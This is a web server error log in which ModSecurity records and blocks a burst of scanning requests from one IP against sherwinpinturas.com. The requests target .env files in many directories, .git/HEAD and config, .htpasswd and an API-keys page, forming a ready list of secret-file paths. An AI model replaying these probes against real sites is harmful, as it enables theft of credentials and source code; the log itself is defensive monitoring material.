[Sun Oct 25 15:18:03.590088 2026] [security2:error] [pid 2887459:tid 2887459] [client 34.95.254.114:60568] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at5V63ARVqJVeEfCE8kQpQAAAAo"]
[Sun Oct 25 15:18:03.590242 2026] [security2:error] [pid 2887459:tid 2887459] [client 34.95.254.114:60568] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at5V63ARVqJVeEfCE8kQpQAAAAo"]
[Sun Oct 25 15:18:03.590487 2026] [security2:error] [pid 2887459:tid 2887459] [client 34.95.254.114:60568] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/config/.env"] [unique_id "at5V63ARVqJVeEfCE8kQpQAAAAo"]
[Sun Oct 25 15:18:03.648817 2026] [security2:error] [pid 2882162:tid 2882162] [client 34.95.254.114:60582] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at5V63Xh3gJECtnR93iQYQAAABU"]
[Sun Oct 25 15:18:03.649130 2026] [security2:error] [pid 2882162:tid 2882162] [client 34.95.254.114:60582] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at5V63Xh3gJECtnR93iQYQAAABU"]
[Sun Oct 25 15:18:03.649407 2026] [security2:error] [pid 2882162:tid 2882162] [client 34.95.254.114:60582] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/public/.env"] [unique_id "at5V63Xh3gJECtnR93iQYQAAABU"]
[Sun Oct 25 15:18:03.673326 2026] [security2:error] [pid 2880779:tid 2880779] [client 34.95.254.114:34156] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /web/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at5V6znLqNfi2M7PPfhJJQAAABo"]
[Sun Oct 25 15:18:03.673533 2026] [security2:error] [pid 2880779:tid 2880779] [client 34.95.254.114:34156] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at5V6znLqNfi2M7PPfhJJQAAABo"]
[Sun Oct 25 15:18:03.673775 2026] [security2:error] [pid 2880779:tid 2880779] [client 34.95.254.114:34156] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/web/.env"] [unique_id "at5V6znLqNfi2M7PPfhJJQAAABo"]
[Sun Oct 25 15:18:03.865291 2026] [security2:error] [pid 2882191:tid 2882191] [client 34.95.254.114:60594] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/docker/.env"] [unique_id "at5V65Yw3jZlk1xcjz4TOwAAADA"]
[Sun Oct 25 15:18:03.865289 2026] [security2:error] [pid 2887568:tid 2887568] [client 34.95.254.114:60638] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at5V6z5pQLoBQNR0orBS-wAAAAs"]
[Sun Oct 25 15:18:03.865808 2026] [security2:error] [pid 2887568:tid 2887568] [client 34.95.254.114:60638] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at5V6z5pQLoBQNR0orBS-wAAAAs"]
[Sun Oct 25 15:18:03.865809 2026] [security2:error] [pid 2882191:tid 2882191] [client 34.95.254.114:60594] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/docker/.env"] [unique_id "at5V65Yw3jZlk1xcjz4TOwAAADA"]
[Sun Oct 25 15:18:03.866074 2026] [security2:error] [pid 2887568:tid 2887568] [client 34.95.254.114:60638] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at5V6z5pQLoBQNR0orBS-wAAAAs"]
[Sun Oct 25 15:18:03.866080 2026] [security2:error] [pid 2882191:tid 2882191] [client 34.95.254.114:60594] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/docker/.env"] [unique_id "at5V65Yw3jZlk1xcjz4TOwAAADA"]
[Sun Oct 25 15:18:03.877104 2026] [security2:error] [pid 2882168:tid 2882168] [client 34.95.254.114:60660] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.next/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.next/.env"] [unique_id "at5V6yilj0Nbd9q5zbpZ1QAAAB0"]
[Sun Oct 25 15:18:03.877310 2026] [security2:error] [pid 2882168:tid 2882168] [client 34.95.254.114:60660] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.next/.env"] [unique_id "at5V6yilj0Nbd9q5zbpZ1QAAAB0"]
[Sun Oct 25 15:18:03.877651 2026] [security2:error] [pid 2882168:tid 2882168] [client 34.95.254.114:60660] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.next/.env"] [unique_id "at5V6yilj0Nbd9q5zbpZ1QAAAB0"]
[Sun Oct 25 15:18:03.951022 2026] [authz_core:error] [pid 2885109:tid 2885109] [client 34.95.254.114:60580] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 15:18:03.965413 2026] [security2:error] [pid 2887570:tid 2887570] [client 34.95.254.114:60632] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at5V65v6gKcq3V_2QCvzGQAAAA0"]
[Sun Oct 25 15:18:03.965658 2026] [security2:error] [pid 2887570:tid 2887570] [client 34.95.254.114:60632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at5V65v6gKcq3V_2QCvzGQAAAA0"]
[Sun Oct 25 15:18:03.965994 2026] [security2:error] [pid 2887570:tid 2887570] [client 34.95.254.114:60632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at5V65v6gKcq3V_2QCvzGQAAAA0"]
[Sun Oct 25 15:18:03.967671 2026] [security2:error] [pid 2887569:tid 2887569] [client 34.95.254.114:60680] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /build/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/build/.env"] [unique_id "at5V64SvkbOgUBFoE_DOSAAAAAw"]
[Sun Oct 25 15:18:03.967877 2026] [security2:error] [pid 2887569:tid 2887569] [client 34.95.254.114:60680] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/build/.env"] [unique_id "at5V64SvkbOgUBFoE_DOSAAAAAw"]
[Sun Oct 25 15:18:03.968219 2026] [security2:error] [pid 2887569:tid 2887569] [client 34.95.254.114:60680] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/build/.env"] [unique_id "at5V64SvkbOgUBFoE_DOSAAAAAw"]
[Sun Oct 25 15:18:03.988815 2026] [security2:error] [pid 2882162:tid 2882162] [client 34.95.254.114:60582] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dist/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "at5V63Xh3gJECtnR93iQYgAAABU"]
[Sun Oct 25 15:18:03.988980 2026] [security2:error] [pid 2882162:tid 2882162] [client 34.95.254.114:60582] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "at5V63Xh3gJECtnR93iQYgAAABU"]
[Sun Oct 25 15:18:03.989242 2026] [security2:error] [pid 2882162:tid 2882162] [client 34.95.254.114:60582] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "at5V63Xh3gJECtnR93iQYgAAABU"]
[Sun Oct 25 15:18:03.994666 2026] [security2:error] [pid 2882161:tid 2882161] [client 34.95.254.114:60558] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at5V699M2VEwlrtTY6-yTQAAABM"]
[Sun Oct 25 15:18:03.994844 2026] [security2:error] [pid 2882161:tid 2882161] [client 34.95.254.114:60558] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at5V699M2VEwlrtTY6-yTQAAABM"]
[Sun Oct 25 15:18:03.995124 2026] [security2:error] [pid 2882161:tid 2882161] [client 34.95.254.114:60558] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at5V699M2VEwlrtTY6-yTQAAABM"]
[Sun Oct 25 15:18:04.002035 2026] [security2:error] [pid 2887459:tid 2887459] [client 34.95.254.114:60568] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at5V7HARVqJVeEfCE8kQpgAAAAo"]
[Sun Oct 25 15:18:04.002194 2026] [security2:error] [pid 2887459:tid 2887459] [client 34.95.254.114:60568] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at5V7HARVqJVeEfCE8kQpgAAAAo"]
[Sun Oct 25 15:18:04.002449 2026] [security2:error] [pid 2887459:tid 2887459] [client 34.95.254.114:60568] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at5V7HARVqJVeEfCE8kQpgAAAAo"]
[Sun Oct 25 15:18:04.546345 2026] [security2:error] [pid 2882166:tid 2882166] [client 107.172.76.131:63934] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5V35ryCly-hVDrzwlZGgAAABs"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 15:18:04.546426 2026] [security2:error] [pid 2882166:tid 2882166] [client 107.172.76.131:63934] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at5V35ryCly-hVDrzwlZGgAAABs"], referer: https://clic1.sherwinpinturas.com//beta.php
[Sun Oct 25 15:18:05.827238 2026] [security2:error] [pid 2887568:tid 2887568] [client 34.95.254.114:60638] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/settings/api-keys"] [unique_id "at5V7T5pQLoBQNR0orBS_wAAAAs"]
[Sun Oct 25 15:18:05.827282 2026] [security2:error] [pid 2887568:tid 2887568] [client 34.95.254.114:60638] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/settings/api-keys"] [unique_id "at5V7T5pQLoBQNR0orBS_wAAAAs"]
[Sun Oct 25 15:18:08.369220 2026] [authz_core:error] [pid 2885109:tid 2885109] [client 34.95.254.114:60580] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/.htpasswd
[Sun Oct 25 15:18:09.069847 2026] [security2:error] [pid 2885694:tid 2885694] [client 34.95.254.114:60542] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at5V8eNFKka2-rJ01WB_AAAAAAk"]
[Sun Oct 25 15:18:09.070074 2026] [security2:error] [pid 2885694:tid 2885694] [client 34.95.254.114:60542] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at5V8eNFKka2-rJ01WB_AAAAAAk"]
[Sun Oct 25 15:18:09.070333 2026] [security2:error] [pid 2885694:tid 2885694] [client 34.95.254.114:60542] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at5V8eNFKka2-rJ01WB_AAAAAAk"]
[Sun Oct 25 15:18:09.071362 2026] [security2:error] [pid 2887590:tid 2887590] [client 34.95.254.114:60714] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.staging.local"] [unique_id "at5V8T0p4A7_zqEqxw4UxQAAAB4"]
